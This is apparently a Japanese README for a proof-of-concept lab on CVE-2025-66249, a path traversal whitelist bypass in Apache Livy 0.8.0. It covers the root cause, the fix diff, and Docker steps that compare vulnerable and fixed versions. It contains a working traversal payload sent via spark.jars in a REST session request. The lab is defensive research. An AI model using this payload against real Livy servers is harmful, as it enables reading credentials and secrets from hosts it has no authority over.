
Apache Livy パストラバーサル ホワイトリストバイパス脆弱性のPOC
教育およびセキュリティ研究目的のみに使用してください。所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。→ 完全な免責事項
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2025-66249 |
| 深刻度 | 重要(CVSS 該当なし — 2026-03-15 時点で NVD の評価待ち) |
| 影響を受けるバージョン | Apache Livy 0.3.0-incubating 〜 0.8.0-incubating — livy.file.local-dir-whitelist がデフォルト以外の値に設定されている場合のみ |
| 修正バージョン | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: 制限付きディレクトリへのパス名の制限が不適切('パストラバーサル') |
| 開示日 | 2026-03-12(OSS-Sec)/ 2026-03-13(NVD) |
| 報告者 | Hiroki Egawa(発見者) |
Livy の REST または JDBC インターフェースにアクセスできる認証済みユーザーは、 許可されたディレクトリのホワイトリストを逸脱するように細工されたファイルパス設定値を含む Spark セッションまたはバッチジョブを送信できます。
根本原因 — ホワイトリストチェックにおけるパストラバーサル回避(Session.scala)
livy.file.local-dir-whitelist が設定されている場合、Livy 0.8.0 は送信された
パスを Java の String.startsWith() を未正規化(raw)のままのパスに対して呼び出して検証します。
このチェックは ../ によるトラバーサルシーケンスを使用して回避できます:
/opt/safe-data/../sensitive/secret.txt
生の文字列は /opt/safe-data で始まるためチェックは通過しますが、そのパスは
/opt/sensitive/secret.txt に解決され、これはホワイトリストされたディレクトリの完全に外側にあります。
発動条件: この脆弱性は livy.file.local-dir-whitelist が**デフォルト以外(非空)**の値に
設定されている場合にのみ悪用可能です。ホワイトリストが空(デフォルト)の場合、パス検証は
完全にスキップされ、この問題は発動しません。
影響: Livy REST API 経由でセッションを送信する攻撃者は、Livy サーバーのホスト上の 任意のローカルファイルを参照できます。共有アナリティクスクラスタでは、これは Livy プロセスユーザーが読み取り可能な資格情報、キー、設定ファイル、その他あらゆるデータの 漏洩につながる可能性があります。
Session.scala脆弱性あり(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
修正済み(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
両バージョンは、以下の正確なコマンドを使用して Apache Livy 公式 GitHub リポジトリから 直接クローンしました:
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| バージョン | タグ | 解決済みコミット | ローカルパス |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: ホワイトリストチェック前に Paths.get().normalize() を実行 import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
v0.8.0 での影響:
生の文字列に対する startsWith チェックは、パストラバーサルペイロードによって回避される可能性があります。
例: livy.file.local-dir-whitelist = /opt/safe-data の場合
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true(回避成功)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false(ブロック)差分は、両タグをローカルにクローンし(上記参照)、以下を実行して生成しました:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
この PoC の全ステップは以下のシステムで実行・検証しました:
| コンポーネント | 詳細 |
|---|---|
| ホスト OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| カーネル | 6.17.0-14-generic x86_64 |
| アーキテクチャ | x86_64 |
| 総メモリ | 15 GiB |
| Docker Engine | 28.2.2 |
| ホスト JDK | OpenJDK 17.0.18(ホストのみで使用 — コンテナは eclipse-temurin:11-jdk-focal を使用) |
| コンテナベースイメージ | eclipse-temurin:11-jdk-focal(JDK 11、Ubuntu Focal) |
| Spark バージョン(両イメージ) | 3.1.3 with Hadoop 3.2 |
| Livy バージョン — 脆弱性ありイメージ | 0.8.0-incubating |
| Livy バージョン — 修正済みイメージ | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
完全なエンドツーエンドの手順 — 以下のステップ 1 から 4 を順番に実行してください:
Step 1: Build vulnerable image → start container → verify Livy is up
Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container
Step 3: Build fixed image → start container → verify Livy is up
Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container
注: Livy は
docker run実行後、準備完了になるまで約 15〜20 秒かかります。 以下のすべてのステップでは、API 呼び出しの前に明示的なsleep 20を含めています。
ファイル:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — 0.0.0.0:8998 にバインド、ローカルモード、ホワイトリスト = /opt/safe-data1a. イメージをビルド:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
検証 — イメージが作成されたことを確認:
docker images cve-2025-66249-vulnerable
期待される出力:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. コンテナを起動:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
検証 — コンテナが実行中であることを確認:
docker ps --filter name=livy-vulnerable
期待される出力:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Livy の起動を待ってから REST API を確認:
Livy がリクエストを処理できるようになるまで約 15〜20 秒かかります。
sleep 20
curl -s http://localhost:8998/sessions
期待される出力:
{"from":0,"total":0,"sessions":[]}
1d. コンテナ内のディレクトリ構成を検証:
ホワイトリストされた安全なファイルが存在することを確認:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
期待される出力:
This file lives inside the whitelisted directory.
ホワイトリスト外の機密ファイルが存在することを確認:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
期待される出力:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
ステップ 1 の脆弱性のあるコンテナがポート 8998 で引き続き実行されている必要があります。
test/validate.sh がテストする内容:
| # | 攻撃 | ペイロードキー | Livy 0.8.0 で期待される結果 |
|---|---|---|---|
| 1 | Session.scala の String.startsWith() によるパストラバーサル | ../ トラバーサルを含む spark.jars | HTTP 201 — トラバーサルがホワイトリストを回避 |
2a. スクリプトを実行:
bash test/validate.sh
注:
validate.shの動作は次のとおりです:
GET /sessionsをポーリングして Livy が応答するまで(最大 60 秒)待機し、サーバーの準備完了を確認します。curlを使用してPOST /sessionsリクエストを送信します。ホワイトリスト外のファイル(/opt/sensitive/secret.txt)を../トラバーサルで参照する細工されたconfペイロードを送信します。- HTTP レスポンスコードを読み取ります: 201 は Livy が正規化なしでパスを受け入れた(脆弱)ことを意味し、400 は Livy が正規化後に拒否した(修正済み)ことを意味します。
- セッションが作成された場合(HTTP 201)、スクリプトは
DELETE /sessions/{id}で直ちにセッションを削除し、サーバーをクリーンな状態に保ちます。- テスト後にサマリーを出力し、終了コード 1(脆弱)または 0(修正済み)で終了するため、自動化パイプラインでの使用に適しています。
期待される出力:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. 脆弱性のあるコンテナを停止して削除:
docker stop livy-vulnerable && docker rm livy-vulnerable
検証 — コンテナが完全に削除されたことを確認:
docker ps -a --filter name=livy-vulnerable
期待される出力(空 — 行なし):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ファイル:
docker/fixed/Dockerfile — ベースイメージと Spark 3.1.3 は同一で、Livy のバージョンのみ 0.9.0-incubating に変更docker/fixed/livy.conf — docker/vulnerable/livy.conf と同一(ホワイトリスト、ポート、モードは同じ)Spark、ベースイメージ、およびすべての設定をステップ 1 と同一に保つことで、Livy だけを唯一の変数として隔離します。
3a. イメージをビルド:
docker build -t cve-2025-66249-fixed docker/fixed/
検証 — イメージが作成されたことを確認:
docker images cve-2025-66249-fixed
期待される出力:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. コンテナを起動:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
検証 — コンテナが実行中であることを確認:
docker ps --filter name=livy-fixed
期待される出力:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Livy の起動を待ってから REST API を確認:
sleep 20
curl -s http://localhost:8998/sessions
期待される出力:
{"from":0,"total":0,"sessions":[]}
3d. コンテナ内のディレクトリ構成を検証:
修正済みコンテナは脆弱性のあるコンテナと同一のフィクスチャを使用しています。これにより、 2 つの環境間の唯一の変数が Livy のバージョンであることを確認できます。
ホワイトリストされた安全なファイルが存在することを確認:
docker exec livy-fixed cat /opt/safe-data/safe.txt
期待される出力:
This file lives inside the whitelisted directory.
ホワイトリスト外の機密ファイルが存在することを確認:
docker exec livy-fixed cat /opt/sensitive/secret.txt
期待される出力:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
ステップ 3 の修正済みコンテナがポート 8998 で実行されている必要があります。 スクリプトは同一です — 変更はありません。
ステップ 2 とステップ 4 の違い:
Paths.get().normalize() でパスを正規化するようになった4a. スクリプトを実行:
bash test/validate.sh
期待される出力:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
エラーメッセージが確認できること:
| 攻撃 | HTTP | エラーメッセージ | 修正された根本原因 |
|---|---|---|---|
spark.jars によるパストラバーサル | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Session.scala に Paths.get(...).normalize() を追加。ホワイトリスト比較の前に ../ を解決 |
4b. 修正済みコンテナを停止して削除:
docker stop livy-fixed && docker rm livy-fixed
検証 — コンテナが完全に削除されたことを確認:
docker ps -a --filter name=livy-fixed
期待される出力(空 — 行なし):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 は、Livy のローカルファイルシステムアクセスパスを保護する ホワイトリスト適用における、単一の焦点を絞ったロジック上の欠陥です。
ホワイトリスト(livy.file.local-dir-whitelist)は影響を受けるすべてのバージョンに存在し、
正しく設定されていました。欠陥はホワイトリストの評価方法にありました:
パストラバーサル回避(唯一の弱点): Session.scala のホワイトリスト比較は、
生のパス文字列に対して Java の String.startsWith() を使用していました。これは
.. トラバーサルセグメントを考慮しないため、ファイルシステムのパス比較としては不十分です。
/opt/safe-data/../sensitive/secret.txt のようなパスは、ホワイトリスト項目 /opt/safe-data に対する
文字列チェックを満たしますが、実際にはその完全に外側の場所に解決されます。
0.9.0 の修正は最小限かつ的を絞ったものです: ホワイトリスト比較の前に
Paths.get().normalize() への呼び出しが 1 つ追加されています。これにより、startsWith
チェックが実行される前にすべての .. セグメントが解決されるため、トラバーサルペイロードは
許可されたディレクトリの外を指していると正しく識別されます。
防御側にとっての重要な教訓: この脆弱性は、livy.file.local-dir-whitelist が
非空の値に設定されている場合にのみ悪用可能です。これはデフォルト設定が直接的な影響を
受けないことを意味しますが、ホワイトリストを厳格化した(つまり、Livy がアクセスできる
ディレクトリを明示的に制限した)デプロイメントこそが、皮肉にも露出することになります —
なぜなら、欠陥のあるコードパスを有効にするのはホワイトリストの存在だからです。
Livy 0.9.0-incubating へのアップグレードが唯一の完全な修復策です。
この PoC またはドキュメントを改善するための貢献を歓迎します! 貢献する際は、以下を遵守してください:
貢献するには、プルリクエストを開くか、提案する変更を説明するイシューを登録してください。
このプロジェクトは MIT License の下でライセンスされています。
このリポジトリは教育およびセキュリティ研究目的のみのものです。概念実証は、 理解と防御策を助けるために脆弱性のメカニズムを示しています。所有していないシステム、 または明示的な書面による許可を得ていないシステムに対して使用しないでください。
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation